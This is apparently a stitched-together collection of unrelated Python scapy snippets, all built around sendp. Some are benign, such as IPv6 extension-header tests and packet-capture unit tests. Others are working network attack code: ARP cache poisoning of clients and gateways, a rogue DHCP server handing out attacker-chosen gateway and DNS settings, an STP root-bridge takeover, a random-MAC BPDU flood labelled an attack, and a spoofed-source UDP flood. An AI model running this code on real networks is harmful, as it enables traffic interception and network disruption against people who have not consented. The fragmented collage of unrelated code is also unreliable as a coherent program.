def test_empty_mixed2_w_rt_hdr_registered(child, iface, hw_dst, ll_dst, ll_src):
    # Register to routing header
    register_protnum(child, EXT_HDR_NH[IPv6ExtHdrRouting])
    # Try sending a packet with a number of extension headers in not recommended
    # (but legal) order
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src) /
          IPv6ExtHdrHopByHop() / IPv6ExtHdrRouting() / IPv6ExtHdrDestOpt() /
          IPv6ExtHdrFragment() / UDP() / "\x01\x02",
          iface=iface, verbose=0)
    # Routing header with payload
    child.expect(r"~~ SNIP  0 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len = int(child.match.group(1))
    # NH = IPv6ExtHdrDestOpt, len = 0x00, routing type = 0, segments left = 0
    # NH = IPv6ExtHdrFragment, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  00  00  00  00  00  00  "
                 r"{:02X}  00  01  04  00  00  00  00".format(
                        EXT_HDR_NH[IPv6ExtHdrDestOpt],
                        EXT_HDR_NH[IPv6ExtHdrFragment]
                    ))
    # NH = 17 (UDP), reserved = 0x00, fragment offset = 0, res = 0, M = 0
    child.expect(r"00000010  11  00  00  00  00  00  00  00")
    # Hop-by-hop-option
    child.expect(r"~~ SNIP  1 - size:\s+(\d+) byte, type: NETTYPE_\w+ \(\d+\)")
    ipv6_payload_len += int(child.match.group(1))
    # NH = IPv6ExtHdrRouting, len = 0x00, PadN option (0x01) of length 0x04
    child.expect(r"00000000  {:02X}  00  01  04  00  00  00  00".format(
                 EXT_HDR_NH[IPv6ExtHdrRouting]))
    # IPv6 header
    child.expect(r"~~ SNIP  2 - size:\s+40 byte, type: NETTYPE_IPV6 \(\d+\)")
    child.expect_exact(r"length: {}  next header: {}".format(
            ipv6_payload_len, EXT_HDR_NH[IPv6ExtHdrHopByHop]
        ))
    child.expect_exact(r"destination address: {}".format(ll_dst))
    pktbuf_empty(child)
    unregister(child)

    def run(self):

        debug('ARP cache poisoning thread waiting for victims...')
        ip = q.get()
        debug('Acquired first victim... %s' % ip)

        pe = Ether(src=self.mac, dst=self.rmac)
        pa = ARP(op='who-has', hwsrc=self.mac, psrc=ip, pdst=ip, hwdst=self.rmac)

        oldmac = self.whohas(ip)
        oldip = ip

        while True:
            try:
                ip = q.get_nowait()
                if oldmac is not None:
                    debug('Healing victim %s/%s' % (oldip, oldmac))
                    pa.psrc = oldip
                    pa.hwsrc = oldmac
                    sendp(pe/pa, verbose=0)
                if ip is None:
                    break
                else:
                    debug('Changing victim to %s...' % ip)
                    pa.psrc = ip
                    pa.hwsrc = self.mac
                    oldip = ip
                    oldmac = self.whohas(ip)
            except Empty:
                # Send the poison... all your base are belong to us!
                sendp(pe/pa, verbose=0)
                sleep(1/self.poison_rate)

def doDhcp(mac):
  chmac = macToChaddr(mac)

  L2 = Ether(dst="ff:ff:ff:ff:ff:ff", src=mac)
  L3 = IP(src="0.0.0.0", dst="255.255.255.255")
  L4 = UDP(sport=68, dport=67)
  L5 = BOOTP(chaddr=chmac)
  L6 = DHCP(options=[("message-type","discover"),"end"])

  resp = srp1(L2/L3/L4/L5/L6, filter="udp and port 68", timeout=5)

  try:
    srcIP = resp.yiaddr
  except AttributeError:
    print "Failed to acquire IP via DHCP for " + mac
    sys.exit(1)

  for x in resp.lastlayer().options:
    if(x == 'end'):
      break
    op,val = x
    if(op == "subnet_mask"):
      subnet_mask = val
    elif(op == 'server_id'):
      server_id = val

  L5 = BOOTP(chaddr=chmac, yiaddr=srcIP)
  L6 = DHCP(options=[("message-type","request"), ("server_id",server_id), ("subnet_mask",subnet_mask), ("requested_addr",srcIP), "end"])
  sendp(L2/L3/L4/L5/L6)
  return srcIP

 def rearp(signal, frame):
     sleep(1)
     print '\n[*] Re-arping network'
     rearp_mac = getmacbyip(args[0])
     pkt = Ether(src=rearp_mac, dst='ff:ff:ff:ff:ff:ff') / ARP(psrc=args[0], hwsrc=mac, op=2)
     sendp(pkt, inter=1, count=5, iface=options.interface)
     sys.exit(0)

def test_forward_uncomp_not_first_ext_hdr(child, iface, hw_dst, ll_dst, ll_src):
    dummy = "affe::1"
    hl = random.randint(2, 255)
    # sniffing for packets to dummy
    sniffer.start_sniff(lambda p: p[Ether].src == hw_dst)
    # add dummy IPv6 address
    dst_iface = get_first_interface(child)
    hw_src = get_host_hwaddr(iface)
    add_neighbor(child, dst_iface, dummy, hw_src)
    sendp(Ether(dst=hw_dst) / IPv6(dst=ll_dst, src=ll_src, hlim=hl) /
          IPv6ExtHdrHopByHop() /
          IPv6ExtHdrRouting(type=3, segleft=1, addresses=[dummy]),
          iface=iface, verbose=0)
    ps = sniffer.wait_for_sniff_results()
    p = [p for p in ps if p[Ether].src == hw_dst]
    assert(len(p) > 0)
    p = p[0]
    assert(IPv6 in p)
    assert(IPv6ExtHdrRouting in p)
    assert(p[IPv6].src == ll_src)
    assert(p[IPv6].dst == dummy)
    assert(p[IPv6].hlim == (hl - 1))
    assert(p[IPv6ExtHdrRouting].type == 3)
    assert(p[IPv6ExtHdrRouting].segleft == 0)
    pktbuf_empty(child)
    del_neighbor(child, dst_iface, dummy)

    def _packet_handler(self, pkt):
        """This method is called for each packet received through scapy's sniff function.
        Incoming ARP requests are used to spoof involved devices.

        Args:
            pkt (str): Received packet via scapy's sniff (through socket.recv).
        """
        # when ARP request
        if pkt[ARP].op == 1:

            # packets intended for this machine (upribox)
            if pkt[Ether].dst == self.mac:
                # incoming packets(that are sniffed): Windows correctly fills in the hwdst, linux (router) only 00:00:00:00:00:00
                # this answers packets asking if we are the gateway (directly not via broadcast)
                # Windows does this 3 times before sending a broadcast request
                sendp(Ether(dst=pkt[Ether].src) / ARP(op=2, psrc=pkt[ARP].pdst, pdst=pkt[ARP].psrc, hwdst=pkt[ARP].hwsrc, hwsrc=self.mac))

            # broadcast request to or from gateway
            elif pkt[Ether].dst.lower() == util.hex2str_mac(ETHER_BROADCAST) and (pkt[ARP].psrc == self.gateway or pkt[ARP].pdst == self.gateway):
                # spoof transmitter
                packets = [Ether(dst=pkt[Ether].src) / ARP(op=2, psrc=pkt[ARP].pdst, pdst=pkt[ARP].psrc, hwsrc=self.mac, hwdst=pkt[ARP].hwsrc)]

                # get mac address of original target
                dest = self.gate_mac
                if pkt[ARP].pdst != self.gateway:
                    # send arp request if destination was not the gateway
                    dest = util.get_mac(pkt[ARP].pdst, self.interface)

                if dest:
                    # spoof receiver
                    packets.append(Ether(dst=dest) / ARP(op=2, psrc=pkt[ARP].psrc, hwsrc=self.mac, pdst=pkt[ARP].pdst, hwdst=dest))

                # some os didn't accept an answer immediately (after sending the first ARP request after boot
                # so, send packets after some delay
                threading.Timer(self._DELAY, sendp, [packets]).start()

 def listen(self, pkt):
     if pkt.haslayer(DHCP):
         if pkt[BOOTP].op == 1:
             print "DHCP Request from ", pkt[Ether].src
             self.dhcp_reply[IP].dst= pkt[IP].src
             self.dhcp_reply[BOOTP].xid = pkt[BOOTP].xid
             sendp(self.dhcp_reply, count=10)

def run(interface):

    pkt = sniff(stop_filter=lambda x: x.haslayer(STP), iface=interface)

    pk_list={x:y for x,y in pkt.sessions().iteritems() if "Other" in x}
    item=pk_list.popitem()
    pkts = item[1]


    for x in pkts:
        if STP in x:
            STP_packet = x
            break

    myMAC = get_if_hwaddr(interface)

    root_id = STP_packet.rootid - 1
    
    bridge_id = STP_packet.bridgeid - 1

    p_ether = Dot3(dst="01:80:c2:00:00:00", src=myMAC)
    p_llc = LLC()

    p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=myMAC, bridgemac=myMAC,
                rootid=root_id, bridgeid=bridge_id)


    pkt = p_ether/p_llc/p_stp

    try:
        while 1:
            sendp(pkt, iface=interface, verbose=0)
    except KeyboardInterrupt:
        pass

def main(argv):
   # global start 
   # global end
    print argv
    try:
        opts, args = getopt.getopt(sys.argv[1:],'s:e:',['start=','end='])
    except getopt.GetoptError:
        sys.exit(2)
    for opt, arg in opts:
        if opt =='-s':
            start = int(arg)
        elif opt =='-e':
            end = int(arg)
    if start == '':
        sys.exit()
    if end == '':
        sys.exit()


    interface = popen('ifconfig | awk \'/eth0/ {print $1}\'').read()

    for i in xrange(1000):
        packets = Ether()/IP(dst=gendest(start, end),src=sourceIPgen())/UDP(dport=80,sport=2)
        print(repr(packets))

        sendp( packets,iface=interface.rstrip(),inter=0.1)

def is_DHCP(pkt):
    """
    This fuction check if DHCP is present in the packet.
    If packet is DHCP DISCOVER o DHCP REQUEST, sent the host configuration.
    :param pkt: This param is a UDP packet.
    :return:
    """
    global range_ip
    global ipServer
    global interface
    global gateway
    global mask
    global network
    global domain
    global domain_server

    if gateway is None:
        gateway = ipServer

    if DHCP in pkt:

        if pkt[DHCP].options[0][1] == 1:
            six.print_(colored("\n[!]", "red"), "DHCP DISCOVER LISTEN")
            print pkt.summary()

            ipClient = str(range_ip[-1])

            ether = Ether(dst="ff:ff:ff:ff:ff:ff")
            ip = IP(src=ipServer, dst="255.255.255.255")
            udp = UDP(sport=67, dport=68)

            bootp= BOOTP(op=2, yiaddr=ipClient, siaddr=ipServer, chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid)

            dhcp = DHCP(options=[('message-type', 'offer'), ('subnet_mask', mask), ('server_id', ipServer),
                                 ('lease_time', 1800), ('domain', domain), ('router', gateway),
                                 ('name_server', domain_server), 'end'])

            dhcp_offer = ether/ip/udp/bootp/dhcp

            sendp(dhcp_offer, iface=interface, verbose=0)
            six.print_(colored("\n[!]", "red"), "DHCP OFFER SEND")
            print dhcp_offer.summary()

        if pkt[DHCP].options[0][1] == 3:
            six.print_(colored("\n[!]", "red"), "DHCP REQUEST LISTEN")
            print pkt.summary()
            ipClient = str(range_ip.pop())
            ether = Ether(dst="ff:ff:ff:ff:ff:ff")
            ip = IP(src=ipServer, dst="255.255.255.255")
            udp = UDP(sport=67, dport=68)
            bootp= BOOTP(op=2, yiaddr=ipClient, siaddr=ipServer, chaddr=pkt[BOOTP].chaddr, xid=pkt[BOOTP].xid)
            dhcp = DHCP(options=[('message-type', 'ack'), ('subnet_mask', mask), ('server_id', ipServer),
                                 ('lease_time', 1800), ('domain', domain), ('router', gateway),
                                 ('name_server', domain_server), 'end'])

            ack = ether/ip/udp/bootp/dhcp

            sendp(ack, iface=interface, verbose=0)
            six.print_(colored("\n[!]", "red"), "DHCP ACK SEND")
            print ack.summary()

def main():
    if len(sys.argv) < 3:
        print "Usage: send_ele_pkt.py [pkt_num] [tcp_sport] [tcp_dport] [nhop_1, nhop_2, ...]"
        #print "For example: send_ele_pkt.py  1 2"
        sys.exit(1)

    pkt_num   = int(sys.argv[1])
    tcp_sport = int(sys.argv[2])
    tcp_dport = int(sys.argv[3])
    if len(sys.argv) is 4:
        tcp_res = 0
    else:
        tcp_res = 4

    p = Ether(dst="00:00:00:00:00:02")/IP(dst="10.0.0.2")/TCP(reserved=tcp_res, sport=tcp_sport, dport=tcp_dport)

    if tcp_res == 4:
        p = p / BytePkt(val=len(sys.argv[4:]))
        for s in sys.argv[4:]:
            p = p / BytePkt(val=int(s))
            
    for i in range(pkt_num):
        pp = p #/ 'hello-{0}'.format(i)
        print pp.show()
        hexdump(pp)
        sendp(pp, iface = "eth0")

    def run(self):
        """Starts multiple threads sends out packets to spoof
        all existing clients on the network and the gateway. This packets are sent every __SLEEP seconds.
        The existing clients (device entries) are read from the redis database.

        Threads:
            A SniffThread, which sniffs for incoming ARP packets and adds new devices to the redis db.
            Two HostDiscoveryThread, which are searching for existing devices on the network.
            A PubSubThread, which is listening for redis expiry messages.

        Note:
            First, ARP replies to spoof the gateway entry of existing clients arp cache are generated.
            ARP relpies to spoof the entries of the gateway are generated next.
            Unlike the holistic mode only packets for existing clients are generated.

        """
        self.sniffthread.start()
        self.arpthread.start()
        self.psthread.start()
        self.igmpthread.start()

        # lamda expression to generate arp replies to spoof the clients
        exp1 = lambda dev: Ether(dst=dev[1]) / ARP(op=2, psrc=self.gateway, pdst=dev[0], hwdst=dev[1])

        # lamda expression to generate arp replies to spoof the gateway
        exp2 = lambda dev: Ether(dst=self.gate_mac) / ARP(op=2, psrc=dev[0], pdst=self.gateway, hwdst=self.gate_mac)

        while True:
            # generates packets for existing clients
            # due to the labda expressions p1 and p2 this list comprehension, each iteration generates 2 packets
            # one to spoof the client and one to spoof the gateway
            packets = [p(dev) for dev in self.redis.get_devices_values(filter_values=True) for p in (exp1, exp2)]

            sendp(packets)
            time.sleep(self.__SLEEP)

def _handle_packet(address, mac, sleeper, packet):
    if ARP not in packet:
        # I don't know how this happens, but I've seen it
        return
    if packet.hwsrc.replace(':','') == sleeper: #grat-arp from sleeper on wakeup
        logging.warning("sleeper[%s] has awakened, deregistering it" % sleeper)
        sleepproxy.manager.forget_host(sleeper)
        return
    if packet[ARP].op != ARP.who_has:
        return
    if packet[ARP].pdst != address:
        logging.debug("Skipping packet with pdst %s != %s" % (packet[ARP].pdst, address, ))
        return
    logging.debug(packet.display())

    ether = packet[Ether]
    arp = packet[ARP]

    reply = Ether(
        dst=ether.src, src=mac) / ARP(
            op="is-at",
            psrc=arp.pdst,
            pdst=arp.psrc,
            hwsrc=mac,
            hwdst=packet[ARP].hwsrc)
    logging.info("Spoofing ARP response for %s to %s" % (arp.pdst, packet[ARP].psrc))
    sendp(reply)

def run(inter):
    """
    This function launch STP CONF ATTACK
    :param inter: interface to be launched the attack
    :type inter: str
    """

    interface = str(inter[0])
    if len(interface) > 0:
        try:

            while 1:
                # Root Identifier 8 bytes (MAC and root priority)

                srcMAC = str(RandMAC())     # Random MAC in each iteration
                root_prior = RandInt() % 65536  # 2 bytes

                # Brigde Identifier (mac and brigde priority)
                brigde_prior = RandInt() % 65536  # 2 bytes

                # dst=Ethernet Multicast address used for spanning tree protocol
                p_ether = Dot3(dst="01:80:c2:00:00:00", src=srcMAC)
                p_llc = LLC()

                p_stp = STP(bpdutype=0x00, bpduflags=0x01, portid=0x8002, rootmac=srcMAC,
                            bridgemac=srcMAC, rootid=root_prior, bridgeid=brigde_prior)   # Conf packet

                pkt = p_ether/p_llc/p_stp   # STP packet structure

                sendp(pkt, iface=interface, verbose=0)

        except KeyboardInterrupt:
            pass

  def spoof( self ):
    if self.all and self.targets != self.endpoints:
      self.targets = self.endpoints
      self.craft_packets()

    for packet in self.packets:
      sendp( packet, iface_hint = self.gateway )

    def testLocal(self):
        # note: ignore_zero_padding necessary until '0' padding simulation bug is resolved
        record = PacketRecord(ignore_zero_padding=True)

        # start capture
        process = Popen([CLIENT_APP, DFE_IP, DFE_NETMASK, '-l', CAPTURE_FILE], env=self.env, \
            stdout=DEV_NULL, stderr=DEV_NULL)
        self.processes.append(process)

        # send packets
        for i in range(PACKET_COUNT):
            packet = IP(dst='127.0.0.2')/ICMP()
            sendp(packet, iface=self.iface, verbose=False)
            record.add_sent(packet)

        # wait for stragglers
        time.sleep(1)

        # make sure still running
        process.poll()
        self.assertTrue(process.returncode == None)

        # stop capture
        process.terminate()
        # hack: send one more packet to make sure capture closes immediately
        sendp(IP(), iface=self.iface, verbose=False)
        process.wait()

        # verify capture CAPTURE_FILE
        for packet in rdpcap(CAPTURE_FILE):
            record.add_received(packet)
        self.assertTrue(record.verify())

    def testBasic(self):
        iface = self.tap.name
        record = PacketRecord()

        # start capture
        process = Popen([APP, iface, CAPTURE_FILE], stdout=DEV_NULL, stderr=DEV_NULL)

        # send packets
        for i in range(PACKET_COUNT):
            packet = IP(dst="www.google.com")/ICMP()
            sendp(packet, iface=iface, verbose=False)
            record.add_sent(packet)

        # wait for stragglers
        time.sleep(1)

        # stop capture
        process.terminate()
        # hack: send one more packet to make sure capture closes immediately
        sendp(IP(), iface=iface, verbose=False)
        process.poll()

        # verify capture file
        for packet in rdpcap(CAPTURE_FILE):
            record.add_received(packet)
        self.assertTrue(record.verify())

def sendPackets(iface,   # expect: string meaning athX
                channel, # expect: int meaning channel number (not Hz)
                power,   # expect: int meaning dBm
                angle,   # expect: int meaning degrees
                length, 
                numPkts):

    # Extract iface number
    ifaceNum = int(iface[-1])

    # Convert length into packet contents
    rawdata = array.array('B',
                          [1 for x in range(0,length-HEADERSIZE)]).tostring()
    
    # numPkts manipulation to account for scapy bug
    assert(numPkts > 0)
    numPkts = -numPkts # scapy bug(?) requiring negative number

    sendp(Dot11(type="Data",FCfield="to-DS",
                addr1="ff:ff:ff:ff:ff:ff",
                addr2="06:0b:6b:c0:ff:ee",
                addr3="c0:ff:ee:%02x:%02x:%02x" % (ifaceNum, power, angle))/
          LLC(ctrl=3)/SNAP()/rawdata,
          iface=iface,
          loop=numPkts)    

    def phase2(self, api_base, if_name, dpae2ctrl_mac, ctrl2dpae_mac,
                        dpae_ethertype):
        """
        Phase 2 (per DPAE sniffing interface)
        switch/port discovery
        """
        #*** Send packet with scapy:
        json_pkt_data = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        #*** Create packet to registration MAC containing our JSON data:
        reg_pkt = Ether(src=ctrl2dpae_mac, dst=dpae2ctrl_mac, \
                        type=dpae_ethertype) / Raw(load=json_pkt_data)
        #*** Send packet:
        try:
            sendp(reg_pkt, iface=if_name)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while sending discovery "
                            "packet, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0
        #*** Wait for a small amount of time:
        time.sleep(1)

        #*** Check that the controller has updated the resource with
        #***  switch/port details:
        json_query_dpae = json.dumps({'hostname_dpae': self.hostname,
                                    'if_name': if_name,
                                    'uuid_dpae': self.our_uuid,
                                    'uuid_controller': self.uuid_controller})
        try:
            r = self.s.get(api_base, data=json_query_dpae)
        except:
            exc_type, exc_value, exc_traceback = sys.exc_info()
            self.logger.error("Phase 2 exception while retrieving from"
                            " controller, "
                            "%s, %s, %s",
                            exc_type, exc_value, exc_traceback)
            return 0

        #*** Decode API response as JSON:
        api_response = JSON_Body(r.json())
        if api_response.error:
            return ({'status': 400, 'msg': api_response.error})
        self.logger.debug("Phase 2 GET response=%s", api_response.json)
        #*** Validate required keys are present in JSON:
        if not api_response.validate(['hostname_dpae', 'uuid_dpae',
                                        'dpid', 'switch_port']):
            self.logger.error("Validation error %s", api_response.error)
            return ({'status': 400, 'msg': api_response.error})
        #*** Check has our UUID correct:
        uuid_dpae_response = api_response['uuid_dpae']
        if str(uuid_dpae_response) != str(self.our_uuid):
            self.logger.error("Phase 2 response uuid_dpae mismatch")
            return 0
        #*** Success:
        return 1

 def send_kill_packet(self):
     net = Network()
     kill_packet = Ether(dst=net.get_stop_eth())/IP(dst=net.get_stop_ip())/TCP()
     #sendp(kill_packet, iface=net.get_nic_name())
     nic_name = net.get_sniff_iface_name()
     #print 'kill nic_name:', nic_name
     sendp(kill_packet, iface=nic_name)